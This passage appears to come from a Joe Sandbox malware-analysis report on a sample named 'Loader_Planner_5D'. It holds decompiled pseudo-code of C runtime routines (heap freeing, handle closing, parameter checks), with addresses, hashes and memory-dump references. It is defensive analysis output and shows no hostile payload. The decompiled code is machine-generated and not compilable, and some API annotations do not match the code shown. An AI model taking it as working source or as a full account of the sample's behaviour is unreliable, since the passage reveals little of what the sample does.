				 *((intOrPtr*)(_t86 + _t75)) = r15b;
				 *((char*)(_t86 + _t75 + 1)) = 0;
				 *_t77 = _t75;
				return _t27;
			}

0x7ff71062a45b
0x7ff71062a46c
0x7ff71062a473
0x7ff71062a479
0x7ff71062a47f
0x7ff71062a484
0x7ff71062a488
0x7ff71062a48d
0x7ff71062a494
0x7ff71062a49b
0x7ff71062a4a3
0x7ff71062a4ac
0x7ff71062a4b8
0x7ff71062a4bf
0x7ff71062a4cf
0x7ff71062a4da
0x7ff71062a4dc
0x7ff71062a4dc
0x7ff71062a4e3
0x7ff71062a4e9
0x7ff71062a4ec
0x7ff71062a4f4
0x7ff71062a4fa
0x7ff71062a502
0x7ff71062a506
0x7ff71062a50b
0x7ff71062a50d
0x7ff71062a512
0x7ff71062a515
0x7ff71062a519
0x7ff71062a520
0x7ff71062a52b
0x7ff71062a52d
0x7ff71062a533
0x7ff71062a538
0x7ff71062a53c
0x7ff71062a540
0x7ff71062a54d
0x7ff71062a55a
0x7ff71062a562
0x7ff71062a56a
0x7ff71062a56f
0x7ff71062a574
0x7ff71062a579
0x7ff71062a57d
0x7ff71062a583
0x7ff71062a5a2

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71062A5A3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71062A5AF

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 31b50a822d219c79278dbb7a52b55d11b987b2aac51c106285fee4cd547b095c
Instruction ID: 2db7ecacfcd34560268f9374b46639651bc9db71afb22796ef20d10c9cad6c77
Opcode Fuzzy Hash: 31b50a822d219c79278dbb7a52b55d11b987b2aac51c106285fee4cd547b095c
Instruction Fuzzy Hash: 7C31B271B09B8285EE14AB26A50427DB253AB04BF4F980730DE6D0B7D6CEBCF0558321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710651FD8 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00007FF77FF710651FD8(signed int __ecx, void* __edx, void* __edi, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				int _t22;
				long _t29;
				intOrPtr _t50;
				void* _t64;

				_a8 = __rbx;
				_a16 = __rsi;
				_t64 = __rdx;
				E00007FF77FF710658C50(__edi, __rax);
				if (__rax != 0xffffffff) goto 0x10651ffe;
				goto 0x10652058;
				_t50 =  *0x1068b470; // 0x246214946d0
				if (__edi != 1) goto 0x10652018;
				if (( *(_t50 + 0xc8) & dil) != 0) goto 0x10652025;
				if (__edi != 2) goto 0x1065203c;
				if (( *(_t50 + 0x80) & 0x00000001) == 0) goto 0x1065203c;
				E00007FF77FF710658C50(2, _t50);
				E00007FF77FF710658C50(1, _t50);
				if (_t50 == _t50) goto 0x10651ffa;
				E00007FF77FF710658C50(__edi, _t50);
				_t22 = FindCloseChangeNotification(??); // executed
				if (_t22 != 0) goto 0x10651ffa;
				_t29 = GetLastError();
				E00007FF77FF710658B94(_t23, _t29, __edi, _t50, __ecx, _t64);
				 *((char*)( *((intOrPtr*)(0x1068b470 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8)) = 0;
				if (_t29 == 0) goto 0x10652093;
				E00007FF77FF71064A5E0(_t29, _t64);
				goto 0x10652095;
				return 0;
			}

0x7ff710651fd8
0x7ff710651fdd
0x7ff710651fea
0x7ff710651fef
0x7ff710651ff8
0x7ff710651ffc
0x7ff710651ffe
0x7ff71065200d
0x7ff710652016
0x7ff71065201a
0x7ff710652023
0x7ff710652025
0x7ff710652032
0x7ff71065203a
0x7ff71065203e
0x7ff710652046
0x7ff71065204e
0x7ff710652056
0x7ff71065205a
0x7ff71065207b
0x7ff710652082
0x7ff710652089
0x7ff710652091
0x7ff7106520a4

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF710652046
GetLastError.KERNEL32 ref: 00007FF710652050

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: ed7a2a32642049cb57907f6cee9188b14081679c52abd8c95be7c0d78f83c17c
Instruction ID: 9eee90d577368bdd78712cac4ce194c048334d557207f364ac5ed151fba0fec5
Opcode Fuzzy Hash: ed7a2a32642049cb57907f6cee9188b14081679c52abd8c95be7c0d78f83c17c
Instruction Fuzzy Hash: 7521D121F1DE8381FE547320944027992A39F457F4F844235EA2E877C6CE6CB48DC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710641E18 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF710641E18(void* __rax, void* __rcx) {
				void* _t1;

				goto 0x10641e32;
				_t1 = E00007FF77FF71064D7F0(__rax, __rcx);
				if (_t1 == 0) goto 0x10641e42;
				0x1064d860(); // executed
				if (__rax == 0) goto 0x10641e23;
				return _t1;
			}

0x7ff710641e21
0x7ff710641e26
0x7ff710641e2d
0x7ff710641e32
0x7ff710641e3a
0x7ff710641e41

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E48

Part of subcall function 00007FF710642970: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF710642979

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E4E

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 82338e37f649edf99e997887a70c4ca2467f55788d13533a52d691962661980f
Instruction ID: cf3c8ae3783b7ee10b3e8fc513082935d0bad8a8e6a68a2af8193f51c2266fd6
Opcode Fuzzy Hash: 82338e37f649edf99e997887a70c4ca2467f55788d13533a52d691962661980f
Instruction Fuzzy Hash: 25E0E224F5E90B95F92932B219161B881420F68370EE81B30EE7D8D3C3AD1CB49E8635

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710651DC8 Relevance: 3.0, APIs: 2, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF710651DC8(intOrPtr* __rax, void* __rcx) {
				int _t1;
				intOrPtr _t3;
				void* _t4;
				void* _t11;
				intOrPtr _t14;

				if (__rcx == 0) goto 0x10651e03;
				_t14 =  *0x1068bcc8; // 0x24621470000, executed
				_t1 = HeapFree(_t11, ??); // executed
				if (_t1 != 0) goto 0x10651dfe;
				_t3 = E00007FF77FF71064A550(GetLastError(), __rax, _t14, __rcx);
				_t4 = E00007FF77FF71064A624(__rax);
				 *__rax = _t3;
				return _t4;
			}

0x7ff710651dcb
0x7ff710651dd7
0x7ff710651dde
0x7ff710651de6
0x7ff710651df0
0x7ff710651df7
0x7ff710651dfc
0x7ff710651e03

APIs

RtlReleasePrivilege.NTDLL(?,?,03D7742583480000,00007FF710659DBA,?,?,?,00007FF71065A137,?,?,00000000,00007FF71065A81C,?,?,00007FF71064E412,00007FF71065A74F), ref: 00007FF710651DDE
GetLastError.KERNEL32(?,?,03D7742583480000,00007FF710659DBA,?,?,?,00007FF71065A137,?,?,00000000,00007FF71065A81C,?,?,00007FF71064E412,00007FF71065A74F), ref: 00007FF710651DE8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 9dbf03e06148790da158d97c57b825e5ae2a608a7e0dd41022985e2d5053306e
Instruction ID: 97e659742c58bcad6d8c80df23625c66d5c0ac00e7c5b27cf9533ea591d0722a
Opcode Fuzzy Hash: 9dbf03e06148790da158d97c57b825e5ae2a608a7e0dd41022985e2d5053306e
Instruction Fuzzy Hash: 0BE08C64F09E0297FF18BBF2A84507992B34F94B70F841034CC0D86352EE2CB98D8270

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710627A40 Relevance: 1.7, APIs: 1, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00007FF77FF710627A40(void* __ecx, void* __edx, long long __rbx, void* __rcx, long long __rsi) {
				void* __rdi;
				void* __rbp;
				void* _t74;
				signed int _t75;
				signed int _t79;
				void* _t102;
				signed long long _t112;
				void* _t122;
				intOrPtr _t134;
				long long _t136;
				intOrPtr _t138;
				void* _t148;
				intOrPtr* _t154;
				intOrPtr _t162;
				long long _t165;
				intOrPtr _t166;
				void* _t170;
				long long _t172;
				void* _t173;
				void* _t175;
				signed long long _t176;
				intOrPtr _t178;
				long long* _t179;
				void* _t181;
				void* _t184;
				void* _t187;
				long long _t188;

				_t131 = __rbx;
				 *((long long*)(_t175 + 0x10)) = __rbx;
				 *((long long*)(_t175 + 0x18)) = __rsi;
				_t173 = _t175 - 0x47;
				_t176 = _t175 - 0x90;
				_t112 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t173 + 0x37) = _t112 ^ _t176;
				_t170 = __rcx;
				_t134 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38))));
				if (_t134 == 0) goto 0x10627aa3;
				_t154 =  *((intOrPtr*)(__rcx + 0x50));
				_t178 =  *_t154;
				if (_t134 - _t134 + _t178 >= 0) goto 0x10627aa3;
				 *_t154 = _t178 - 1;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38)))) + 1;
				goto 0x10627c96;
				if ( *((long long*)(__rcx + 0x80)) != 0) goto 0x10627ab7;
				goto 0x10627c96;
				_t179 =  *((intOrPtr*)(__rcx + 0x18));
				if ( *_t179 != __rcx + 0x70) goto 0x10627ae4;
				_t136 =  *((intOrPtr*)(__rcx + 0x88));
				 *_t179 = _t136;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) = _t136;
				 *( *((intOrPtr*)(__rcx + 0x50))) = __edx - __ecx;
				if ( *((long long*)(__rcx + 0x68)) != 0) goto 0x10627b0d; // executed
				_t74 = E00007FF77FF710648BF4( *((intOrPtr*)(__rcx + 0x50)), __rbx,  *((intOrPtr*)(__rcx + 0x80)), _t188); // executed
				if (_t74 == 0xffffffff) goto 0x10627c94;
				goto 0x10627c94;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x17], xmm0");
				 *((long long*)(_t173 + 0x27)) = 0;
				 *((long long*)(_t173 + 0x2f)) = 0xf;
				 *((char*)(_t173 + 0x17)) = 0;
				_t75 = E00007FF77FF710648BF4( *((intOrPtr*)(__rcx + 0x50)), _t131,  *((intOrPtr*)(__rcx + 0x80)), _t165);
				r8d = _t75;
				if (_t75 == 0xffffffff) goto 0x10627c54;
				_t138 =  *((intOrPtr*)(_t173 + 0x27));
				if (_t138 -  *((intOrPtr*)(_t173 + 0x2f)) >= 0) goto 0x10627b6d;
				 *((long long*)(_t173 + 0x27)) = _t138 + 1;
				_t122 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				 *(_t122 + _t138) = r8b;
				 *((char*)(_t122 + _t138 + 1)) = 0;
				goto 0x10627b83;
				r9d = r8b & 0xffffffff;
				r8d =  *(_t173 - 9) & 0xff;
				E00007FF77FF71062A450(_t173 + 0x17,  *((intOrPtr*)(_t173 + 0x2f)), _t165, _t187);
				r10b =  *((long long*)(_t173 + 0x2f)) - 0x10 >= 0;
				_t159 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t184 =  *((intOrPtr*)(_t173 + 0x27)) + ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t181 =  !=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				 *((long long*)(_t176 + 0x38)) = _t173 + 7;
				 *((long long*)(_t176 + 0x30)) = _t173 + 0x10;
				 *((long long*)(_t176 + 0x28)) = _t173 + 0xf;
				 *((long long*)(_t176 + 0x20)) = _t173 - 1;
				_t102 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t170 + 0x68)))) + 0x30))();
				if (_t102 == 0) goto 0x10627bea;
				if (_t102 != 0) goto 0x10627cba;
				if ( *((intOrPtr*)(_t173 + 7)) != _t173 + 0xf) goto 0x10627cd2;
				r8b =  *((long long*)(_t173 + 0x2f)) - 0x10 >= 0;
				_t146 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t126 =  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t166 =  *((intOrPtr*)(_t173 + 0x27));
				_t127 =  <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t148 =  !=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t167 = _t166 - ( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17));
				E00007FF77FF710647D30();
				 *((long long*)(_t173 + 0x27)) = _t166 - ( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17));
				_t79 = E00007FF77FF710648BF4( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17), _t131,  *((intOrPtr*)(_t170 + 0x80)), _t172);
				r8d = _t79;
				if (_t79 != 0xffffffff) goto 0x10627b40;
				_t162 =  *((intOrPtr*)(_t173 + 0x2f));
				if (_t162 - 0x10 < 0) goto 0x10627c94;
				if (_t162 + 1 - 0x1000 < 0) goto 0x10627c8f;
				if ( *((intOrPtr*)(_t173 + 0x17)) -  *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x17)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10627d27;
				E00007FF77FF710641E10( *((intOrPtr*)(_t173 + 0x17)) -  *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x17)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x17)) - 8)));
				return E00007FF77FF710641DF0(0xffffffff, __ecx,  *(_t173 + 0x37) ^ _t176);
			}

0x7ff710627a40
0x7ff710627a40
0x7ff710627a45
0x7ff710627a4e
0x7ff710627a53
0x7ff710627a5a
0x7ff710627a64
0x7ff710627a68
0x7ff710627a6f
0x7ff710627a75
0x7ff710627a77
0x7ff710627a7b
0x7ff710627a85
0x7ff710627a8b
0x7ff710627a98
0x7ff710627a9e
0x7ff710627aab
0x7ff710627ab2
0x7ff710627ab7
0x7ff710627ac2
0x7ff710627acb
0x7ff710627ad2
0x7ff710627ad9
0x7ff710627ae2
0x7ff710627af0
0x7ff710627af2
0x7ff710627aff
0x7ff710627b08
0x7ff710627b0d
0x7ff710627b10
0x7ff710627b14
0x7ff710627b1c
0x7ff710627b24
0x7ff710627b28
0x7ff710627b2d
0x7ff710627b33
0x7ff710627b40
0x7ff710627b4b
0x7ff710627b51
0x7ff710627b5d
0x7ff710627b62
0x7ff710627b66
0x7ff710627b6b
0x7ff710627b6d
0x7ff710627b71
0x7ff710627b7e
0x7ff710627b90
0x7ff710627b94
0x7ff710627b9d
0x7ff710627ba7
0x7ff710627bb3
0x7ff710627bbc
0x7ff710627bc5
0x7ff710627bce
0x7ff710627bdd
0x7ff710627bdf
0x7ff710627be4
0x7ff710627bf2
0x7ff710627c01
0x7ff710627c05
0x7ff710627c0e
0x7ff710627c11
0x7ff710627c18
0x7ff710627c23
0x7ff710627c28
0x7ff710627c33
0x7ff710627c38
0x7ff710627c43
0x7ff710627c48
0x7ff710627c4e
0x7ff710627c59
0x7ff710627c61
0x7ff710627c74
0x7ff710627c89
0x7ff710627c8f
0x7ff710627cb9

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710627D27

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: bfc4827fc3b40bb9793e3f12580f1ec4f580aef724c57f345f3e97c79fc93821
Instruction ID: a2f990b5ac2b2eb868a21bd5dd2fc9f10bd00ce0be7a3e154b3659bca840b13b
Opcode Fuzzy Hash: bfc4827fc3b40bb9793e3f12580f1ec4f580aef724c57f345f3e97c79fc93821
Instruction Fuzzy Hash: 43A15C72704E418AEB109F35D0906ACB3A2FB48BA8F945632EA5D43B98DF3DE559C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106522C4 Relevance: 1.6, APIs: 1, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF7106522C4(signed int __edi, intOrPtr* __rax, long long __rbx, signed char** __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* _t55;
				signed int _t56;
				signed int _t76;
				signed int _t77;
				intOrPtr* _t94;
				signed char* _t96;
				void* _t109;
				signed char** _t117;
				void* _t122;
				void* _t123;

				_t98 = __rbx;
				_t94 = __rax;
				_t76 = __edi;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t117 = __rcx;
				if (__rcx != 0) goto 0x106522f6;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				goto 0x10652415;
				if (( *(__rcx + 0x14) >> 0x0000000d & 0x00000001) == 0) goto 0x10652415;
				if (( *(__rcx + 0x14) >> 0x0000000c & 0x00000001) != 0) goto 0x10652415;
				if (( *(__rcx + 0x14) >> 0x00000001 & 0x00000001) == 0) goto 0x10652325;
				asm("lock or dword [ecx+0x14], 0x10");
				goto 0x10652415;
				asm("lock or dword [ecx+0x14], 0x1");
				if (( *(__rcx + 0x14) & 0x000004c0) != 0) goto 0x10652339;
				E00007FF77FF710653598( *(__rcx + 0x14) & 0x000004c0, __rax, __rbx, __rcx, _t109, _t122);
				 *((long long*)(__rcx)) =  *((intOrPtr*)(__rcx + 8));
				_t55 = E00007FF77FF71065032C(__rax, __rcx);
				r8d =  *((intOrPtr*)(__rcx + 0x20));
				_t56 = E00007FF77FF710653AB0( *((intOrPtr*)(__rcx + 0x20)), _t55, _t76, _t98,  *((intOrPtr*)(__rcx + 8)),  *((intOrPtr*)(__rcx + 8)), _t123); // executed
				_t117[2] = _t56;
				_t19 = _t94 + 1; // 0x1
				if (_t19 - 1 <= 0) goto 0x10652403;
				_t77 = _t76 | 0xffffffff;
				if ((_t117[2] & 0x00000006) != 0) goto 0x106523ce;
				if (E00007FF77FF71065032C(_t94, _t117) == _t77) goto 0x106523b9;
				if (E00007FF77FF71065032C(_t94, _t117) == 0xfffffffe) goto 0x106523b9;
				E00007FF77FF71065032C(_t94, _t117);
				E00007FF77FF71065032C(_t94, _t117);
				goto 0x106523c0;
				if (( *0x7FF7106893D8 & 0x00000082) != 0x82) goto 0x106523ce;
				asm("lock or dword [esi+0x14], 0x20");
				if (_t117[4] != 0x200) goto 0x106523f2;
				if ((_t117[2] >> 0x00000006 & 0x00000001) == 0) goto 0x106523f2;
				if ((_t117[2] >> 0x00000008 & 0x00000001) != 0) goto 0x106523f2;
				_t117[4] = 0x1000;
				_t96 =  *_t117;
				_t117[2] =  &(_t117[2][_t77]);
				 *_t117 =  &(_t96[1]);
				goto 0x10652418;
				asm("sbb eax, eax");
				asm("lock or [esi+0x14], eax");
				_t117[2] = _t117[2] & 0x00000000;
				return  *_t96 & 0x000000ff | 0xffffffff;
			}

0x7ff7106522c4
0x7ff7106522c4
0x7ff7106522c4
0x7ff7106522c4
0x7ff7106522c9
0x7ff7106522ce
0x7ff7106522d9
0x7ff7106522df
0x7ff7106522e1
0x7ff7106522e6
0x7ff7106522ec
0x7ff7106522f1
0x7ff7106522fe
0x7ff71065230c
0x7ff710652319
0x7ff71065231b
0x7ff710652320
0x7ff710652325
0x7ff710652332
0x7ff710652334
0x7ff710652343
0x7ff710652346
0x7ff71065234b
0x7ff710652353
0x7ff710652358
0x7ff71065235b
0x7ff710652361
0x7ff71065236a
0x7ff71065236f
0x7ff71065237b
0x7ff710652388
0x7ff71065238d
0x7ff7106523a3
0x7ff7106523b7
0x7ff7106523c7
0x7ff7106523c9
0x7ff7106523d5
0x7ff7106523df
0x7ff7106523e9
0x7ff7106523eb
0x7ff7106523f2
0x7ff7106523f5
0x7ff7106523fe
0x7ff710652401
0x7ff710652405
0x7ff71065240d
0x7ff710652411
0x7ff71065242f

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7106522EC

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 11282d93e1db8dac1963f3c75aedc6a7f7e2bcc8dfc3af0571b90d71a2ee8e7e
Instruction ID: 6b5336c87592cf376ae78a90253cff43ec51067b157eebbf5b476ca0a464fba3
Opcode Fuzzy Hash: 11282d93e1db8dac1963f3c75aedc6a7f7e2bcc8dfc3af0571b90d71a2ee8e7e
Instruction Fuzzy Hash: 1C41A732918A4787EA34EF19E44117DB7B2EB55BA0F940131EA8E87791CF2CF446C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710653AB0 Relevance: 1.6, APIs: 1, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF710653AB0(void* __ebx, signed int __ecx, signed int __edi, signed int __rbx, void* __rdx, signed int __rdi, signed int __r12, void* _a16, void* _a24, void* _a32) {
				signed int _t44;
				void* _t45;
				void* _t48;
				signed int* _t53;
				signed int* _t55;
				signed int* _t57;
				signed int* _t66;
				void* _t69;
				signed long long _t74;
				signed long long _t80;

				_t44 = __edi;
				_t53 = _t66;
				_t53[4] = __rbx;
				_t53[6] = __rdi;
				_t53[8] = __r12;
				_t53[2] = __ecx;
				r14d = r8d;
				if (__edi != 0xfffffffe) goto 0x10653af2;
				E00007FF77FF71064A604(_t53);
				 *_t53 =  *_t53 & 0x00000000;
				E00007FF77FF71064A624(_t53);
				 *_t53 = 9;
				goto 0x10653bac;
				if (__ecx < 0) goto 0x10653b94;
				_t48 = _t44 -  *0x1068b870; // 0x40
				if (_t48 >= 0) goto 0x10653b94;
				_t80 = __ecx >> 6;
				_t74 = __ecx + __ecx * 8;
				_t55 =  *((intOrPtr*)(0x1068b470 + _t80 * 8));
				if (( *(_t55 + 0x38 + _t74 * 8) & 0x00000001) == 0) goto 0x10653b94;
				if (r14d - 0x7fffffff <= 0) goto 0x10653b48;
				E00007FF77FF71064A604(_t55);
				 *_t55 =  *_t55 & 0x00000000;
				E00007FF77FF71064A624(_t55);
				 *_t55 = 0x16;
				goto 0x10653ba7;
				E00007FF77FF710658944();
				_t57 =  *((intOrPtr*)(0x1068b470 + _t80 * 8));
				if (( *(0x1068b470 + 0x38 + _t74 * 8) & 0x00000001) != 0) goto 0x10653b7a;
				E00007FF77FF71064A624(_t57);
				 *0x1068b470 = 9;
				E00007FF77FF71064A604(_t57);
				 *0x1068b470 =  *0x1068b470 & 0x00000000;
				goto 0x10653b89;
				r8d = r14d;
				E00007FF77FF710653BCC(__edi, _t45, _t57, 0x1068b470, __rdx, _t69); // executed
				E00007FF77FF710658A2C();
				goto 0x10653baf;
				E00007FF77FF71064A604(_t57);
				 *0x1068b470 =  *0x1068b470 & 0x00000000;
				E00007FF77FF71064A624(_t57);
				 *_t57 = 9;
				return E00007FF77FF71064A198() | 0xffffffff;
			}

0x7ff710653ab0
0x7ff710653ab0
0x7ff710653ab3
0x7ff710653ab7
0x7ff710653abb
0x7ff710653abf
0x7ff710653acc
0x7ff710653ad8
0x7ff710653ada
0x7ff710653adf
0x7ff710653ae2
0x7ff710653ae7
0x7ff710653aed
0x7ff710653af4
0x7ff710653afa
0x7ff710653b00
0x7ff710653b0c
0x7ff710653b1a
0x7ff710653b1e
0x7ff710653b28
0x7ff710653b31
0x7ff710653b33
0x7ff710653b38
0x7ff710653b3b
0x7ff710653b40
0x7ff710653b46
0x7ff710653b4a
0x7ff710653b59
0x7ff710653b63
0x7ff710653b65
0x7ff710653b6a
0x7ff710653b70
0x7ff710653b75
0x7ff710653b78
0x7ff710653b7a
0x7ff710653b82
0x7ff710653b8b
0x7ff710653b92
0x7ff710653b94
0x7ff710653b99
0x7ff710653b9c
0x7ff710653ba1
0x7ff710653bc8

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710653BA7

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 839811b834cf5b2826a3c31424ac1119a619bcf5dcd9e85b526f82e36edca060
Instruction ID: 53364196759e45fcb14bbb531ede2c524833014cb288375506c8098ec9ace313
Opcode Fuzzy Hash: 839811b834cf5b2826a3c31424ac1119a619bcf5dcd9e85b526f82e36edca060
Instruction Fuzzy Hash: C431D132A08E0296E711BF15984537CA6A2AFA0BB4F864135DA1C433D2CFBCB449C731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106674B8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7106674B8(intOrPtr* __rax, long long __rbx, long long _a8, intOrPtr _a40) {

				_a8 = __rbx;
				if (_a40 != 0) goto 0x106674ed;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				return 0x16;
			}

0x7ff7106674b8
